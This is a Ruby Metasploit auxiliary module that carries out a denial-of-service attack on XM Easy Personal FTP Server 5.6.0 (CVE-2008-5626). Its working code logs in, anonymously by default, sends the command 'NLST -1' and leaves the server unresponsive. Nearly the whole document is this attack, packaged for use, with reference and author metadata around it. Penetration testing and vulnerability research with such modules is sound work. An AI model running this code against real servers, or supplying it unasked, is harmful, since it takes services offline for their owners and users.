XM Easy Personal FTP Server 5.6.0 NLST DoS

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'XM Easy Personal FTP Server 5.6.0 NLST DoS',
      'Description'    => %q{
        This module is a port of shinnai's script.  You need
        a valid login, but even anonymous can do it as long
        as it has permission to call NLST.
      },
      'Author'         => 'kris katterjohn',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-5626'],
          [ 'OSVDB', '50837'],
          [ 'EDB', '6741' ]
        ],
      'DisclosureDate' => '2008-10-13'))

    # They're required
    register_options([
      OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']),
      OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD'])
    ])
  end

  def run
    return unless connect_login

    raw_send("NLST -1\r\n")

    disconnect

    print_status("OK, server may still be technically listening, but it won't respond")
  end
end